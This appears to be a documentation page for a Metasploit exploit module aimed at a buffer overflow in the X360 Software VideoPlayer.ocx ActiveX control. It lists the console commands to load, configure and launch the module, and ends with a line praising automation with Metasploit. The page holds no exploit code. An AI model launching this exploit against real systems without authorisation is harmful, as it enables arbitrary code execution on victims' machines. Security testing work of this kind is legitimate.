This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the X360 Software. By setting an overly long value to 'ConvertFile()', an attacker can overrun a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/x360_video_player_set_text_bof
msf exploit(x360_video_player_set_text_bof) > show targets
...targets...
msf exploit(x360_video_player_set_text_bof) > set TARGET < target-id >
msf exploit(x360_video_player_set_text_bof) > show options
...show and set options...
msf exploit(x360_video_player_set_text_bof) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
